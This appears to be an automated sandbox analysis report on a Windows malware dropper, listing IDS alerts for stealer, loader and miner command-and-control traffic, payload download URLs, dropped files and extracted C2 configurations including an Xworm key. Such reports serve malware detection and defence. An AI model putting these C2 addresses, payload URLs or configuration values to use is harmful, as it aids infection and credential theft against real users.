ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:55.284647+0200
SID:	2050112
Severity:	1
Source Port:	49825
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:18:31.667877+0200
SID:	2028765
Severity:	3
Source Port:	49802
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:56.852353+0200
SID:	2049467
Severity:	1
Source Port:	49826
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:56.852353+0200
SID:	2050112
Severity:	1
Source Port:	49826
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE PrivateLoader CnC Activity (POST) - Source IP: 192.168.2.4 - Destination IP: 195.10.205.48

Timestamp:	2024-08-30T03:17:23.716836+0200
SID:	2054711
Severity:	1
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T03:17:29.867349+0200
SID:	2044243
Severity:	1
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:17:50.625256+0200
SID:	2028765
Severity:	3
Source Port:	49764
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 147.45.44.104

Timestamp:	2024-08-30T03:17:50.703902+0200
SID:	2803304
Severity:	3
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Lumma Stealer Related Activity M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T03:18:01.297945+0200
SID:	2049812
Severity:	1
Source Port:	49779
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T03:18:01.297945+0200
SID:	2054653
Severity:	1
Source Port:	49779
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST - Source IP: 192.168.2.4 - Destination IP: 147.45.68.138

Timestamp:	2024-08-30T03:19:23.627565+0200
SID:	2049087
Severity:	1
Source Port:	49850
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:51.189627+0200
SID:	2049467
Severity:	1
Source Port:	49822
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:51.189627+0200
SID:	2050112
Severity:	1
Source Port:	49822
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:45.960485+0200
SID:	2049467
Severity:	1
Source Port:	49817
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:45.960485+0200
SID:	2050112
Severity:	1
Source Port:	49817
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T03:17:32.969246+0200
SID:	2803304
Severity:	3
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:18:08.564464+0200
SID:	2028765
Severity:	3
Source Port:	49784
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 147.45.44.104

Timestamp:	2024-08-30T03:17:14.044435+0200
SID:	2803270
Severity:	2
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Lumma Stealer Domain in TLS SNI (locatedblsoqp .shop) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T03:17:56.937594+0200
SID:	2055489
Severity:	1
Source Port:	49770
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-08-30T03:18:07.913729+0200
SID:	2036289
Severity:	2
Source Port:	61257
Destination Port:	53
Protocol:	UDP
Classtype:	Crypto Currency Mining Activity Detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:34.258485+0200
SID:	2049467
Severity:	1
Source Port:	49804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:34.258485+0200
SID:	2050112
Severity:	1
Source Port:	49804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: kqS23MOytx.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.100	URL Reputation: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: https://t.me/iyigunl	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/revada/66c6fcb30b9dd_123p.exe	Avira URL Cloud: Label: malware
Source: https://file-link-iota.vercel.app:80/ffernifre.exesZ0	Avira URL Cloud: Label: malware
Source: https://94.130.188.148/nss3.dll	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space$	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space#	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66c6def3f0546_sss.exe	Avira URL Cloud: Label: malware
Source: http://31.41.244.9/dezo/huna.exeC:	Avira URL Cloud: Label: phishing
Source: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spaceS	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	Avira URL Cloud: Label: malware
Source: https://94.130.188.148/	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/yuop/66d0879618b6b_File.exe#xin#	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php/	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dllZ	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpGjLg	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe#space	Avira URL Cloud: Label: malware
Source: https://file-link-iota.vercel.app:80/ffernifre.exes	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66d0c13d2f0ed_ImpressedHub.exe#upus	Avira URL Cloud: Label: malware
Source: https://94.130.188.148/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll(	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/malesa/66ce00c2c1a2c_doz.exe#meneK	Avira URL Cloud: Label: malware
Source: https://94.130.188.148/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spacece	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/malesa/66ce00c2c1a2c_doz.exe#meneR	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/yuop/66d0879618b6b_File.exe#xineB	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spaceC:	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/yuop/66d0879618b6b_File.exe#xinecebu	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/c4754d4f680ead72.php32	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/malesa/66ce00c2c1a2c_doz.exe#mene	Avira URL Cloud: Label: malware
Source: https://file-link-iota.vercel.app/	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66d0c13d2f0ed_ImpressedHub.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66c6def3f0546_sss[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1323768
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Avira: detection malicious, Label: HEUR/AGEN.1323768
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Avira: detection malicious, Label: HEUR/AGEN.1323768
Source: C:\ProgramData\CTV Game Plugin 8.29.45\CTV Game Plugin 8.29.45.exe	Avira: detection malicious, Label: HEUR/AGEN.1315004

Found malware configuration

Source: 00000014.00000002.2601275716.0000000000C1A000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php"}
Source: 0000000D.00000002.2094938512.00000000040FD000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199761128941"], "Botnet": "3cfc20875310168e85cacc85bfe8cfb9"}
Source: 43.2.cmd.exe.5ed00c8.7.raw.unpack	Malware Configuration Extractor: Xworm {"C2 url": "https://pastebin.com/raw/jxfGm9Pc", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe"}
Source: simplefreevideocutter32_64.exe.7876.31.memstrmin	Malware Configuration Extractor: Socks5Systemz {"C2 list": ["bftexwm.com"]}

Multi AV Scanner detection for domain / URL

Source: file-link-iota.vercel.app	Virustotal: Detection: 8%	Perma Link
Source: stadiatechnologies.com	Virustotal: Detection: 9%	Perma Link
Source: http://185.196.8.214/	Virustotal: Detection: 12%	Perma Link
Source: http://147.45.44.104/malesa/66d08591035ef_AttachmentDaughters.exe#1	Virustotal: Detection: 22%	Perma Link
Source: http://147.45.44.104/revada/66c6fcb30b9dd_123p.exe	Virustotal: Detection: 22%	Perma Link
Source: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space$	Virustotal: Detection: 23%	Perma Link
Source: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space#	Virustotal: Detection: 23%	Perma Link
Source: http://147.45.44.104/prog/66c6def3f0546_sss.exe	Virustotal: Detection: 25%	Perma Link
Source: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spaceS	Virustotal: Detection: 23%	Perma Link
Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	Virustotal: Detection: 18%	Perma Link
Source: http://147.45.68.138:80	Virustotal: Detection: 11%	Perma Link
Source: http://147.45.44.104/yuop/66d0879618b6b_File.exe#xin#	Virustotal: Detection: 23%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\CTV Game Plugin 8.29.45\CTV Game Plugin 8.29.45.exe	ReversingLabs: Detection: 34%
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	ReversingLabs: Detection: 68%
Source: C:\ProgramData\xprfjygruytr\etzpikspwykg.exe	ReversingLabs: Detection: 87%
Source: C:\Users\userJJDGIIDHJE.exe	ReversingLabs: Detection: 34%
Source: C:\Users\userKKECFIEBGC.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66c6def3f0546_sss[1].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\PENDXGKW[1].exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\huna[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\install[1].exe	ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66cdfc485c6f9_instruction[1].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66ce00c2c1a2c_doz[1].exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd8fb6f7b_lgjfd[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd9755a01_sbwd[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd9a65b5d_vqwergf[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66c6fcb30b9dd_123p[1].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66d0cd9a65b5d_vqwergf[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\PowerExpertNNT\PowerExpertNNT.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\jnpqblobe	ReversingLabs: Detection: 71%
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	ReversingLabs: Detection: 37%

Multi AV Scanner detection for submitted file

Source: kqS23MOytx.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66c6def3f0546_sss[1].exe	Joe Sandbox ML: detected
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\CTV Game Plugin 8.29.45\CTV Game Plugin 8.29.45.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: kqS23MOytx.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 43.2.cmd.exe.5ed00c8.7.raw.unpack	String decryptor: https://pastebin.com/raw/jxfGm9Pc
Source: 43.2.cmd.exe.5ed00c8.7.raw.unpack	String decryptor: <123456789>
Source: 43.2.cmd.exe.5ed00c8.7.raw.unpack	String decryptor: <Xwormmm>
Source: 43.2.cmd.exe.5ed00c8.7.raw.unpack	String decryptor: V3
Source: 43.2.cmd.exe.5ed00c8.7.raw.unpack	String decryptor: USB.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0051BB60 GetModuleHandleA,CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptAcquireContextA,SetLastError,	2_2_0051BB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0051BE00 SetLastError,GetModuleHandleA,CryptGenRandom,	2_2_0051BE00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0051BD20 CryptReleaseContext,	2_2_0051BD20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0040C660 memset,lstrlenA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,PK11_FreeSlot,	20_2_0040C660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B356C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	20_2_6B356C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4AA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	20_2_6B4AA9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4A43B0 PK11_PubEncryptPKCS1,PR_SetError,	20_2_6B4A43B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4D0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	20_2_6B4D0180

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 37.2.SendBugReportNew.exe.2de2544.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.SendBugReportNew.exe.2de1944.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.SendBugReportNew.exe.2d9c877.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.2.cmd.exe.584da00.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.2.cmd.exe.5892acd.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.2.cmd.exe.58936cd.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002B.00000002.2538051610.0000000005847000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SendBugReportNew.exe PID: 6516, type: MEMORYSTR

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Unpacked PE file: 31.2.simplefreevideocutter32_64.exe.400000.0.unpack

Source: kqS23MOytx.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.75.163:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.241:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.3.46:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.210.122.61:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.188.148:443 -> 192.168.2.4:49764 version: TLS 1.2

Source: kqS23MOytx.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000014.00000002.2890911555.000000006B3BD000.00000002.00000001.01000000.00000024.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000002.2166501534.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: +".PdB source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000000.1887813891.00000000004E2000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.PDB source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000002.2166501534.0000000000F61000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000014.00000002.2906535363.000000006B57F000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\iCIue.pdbm source: 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2135001198.0000000005750000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: instruction_manual.pdb source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000000.1887813891.00000000004E2000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: \??\C:\Windows\exe\ScoutVerity_BlueParka.pdb0.0 source: 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000002.2184077230.0000000001113000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\instruction_manual.pdbpdbual.pdb source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000002.2166501534.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: SendBugReportNew.exe, 00000025.00000002.2177385618.0000000002E13000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdbX source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000002.2166501534.0000000000F90000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: instruction_manual.pdbXoBnoB `oB_CorExeMainmscoree.dll source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000000.1887813891.00000000004E2000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: wntdll.pdb source: SendBugReportNew.exe, 00000025.00000002.2177385618.0000000002E13000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ScoutVerity_BlueParka.pdbdt source: 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000002.2184077230.00000000010B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: PE.pdb source: kqS23MOytx.exe, kqS23MOytx.exe, 00000000.00000002.1655977960.00000000044F4000.00000004.00000800.00020000.00000000.sdmp, kqS23MOytx.exe, 00000000.00000002.1673044108.0000000005BC0000.00000004.08000000.00040000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004128000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.PDB2zQ\b source: 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000002.2184077230.00000000010B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: software2mp.pdb source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: \??\C:\Windows\ScoutVerity_BlueParka.pdbme source: 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000002.2184077230.0000000001113000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000014.00000002.2890911555.000000006B3BD000.00000002.00000001.01000000.00000024.sdmp
Source:	Binary string: botsoft.pdb source: IUqoPnH3eiygxjqgC368dFJD.exe, 00000004.00000000.1887990256.0000000000292000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: software2mp.pdbx8 source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: nDC:\Windows\instruction_manual.pdb source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000002.2166104794.0000000000BA8000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\JeKOAGx.pdb source: kqS23MOytx.exe, 00000000.00000002.1675344852.0000000006121000.00000004.00000800.00020000.00000000.sdmp, kqS23MOytx.exe, 00000000.00000002.1686542999.00000000073D0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: b77a5c561934e089ib.pdb source: 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000002.2184077230.00000000010B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nLC:\Windows\ScoutVerity_BlueParka.pdb source: 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000002.2170162510.0000000000B98000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: gitclonesoft.pdb source: 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\yLunQD.pdb source: IUqoPnH3eiygxjqgC368dFJD.exe, 00000004.00000002.2051301133.0000000004229000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: user-PC\usertion_manual.pdbxL source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000002.2166501534.0000000000F61000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\iCIue.pdb source: 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2135001198.0000000005750000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000014.00000002.2906535363.000000006B57F000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: gitclonesoft.pdbX source: 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: 0dows\symbols\dll\mscorlib.pdb source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000002.2166501534.0000000000F61000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ScoutVerity_BlueParka.pdb source: 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000002.2184077230.00000000010B8000.00000004.00000020.00020000.00000000.sdmp, 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000000.1890052659.00000000003C2000.00000002.00000001.01000000.00000012.sdmp
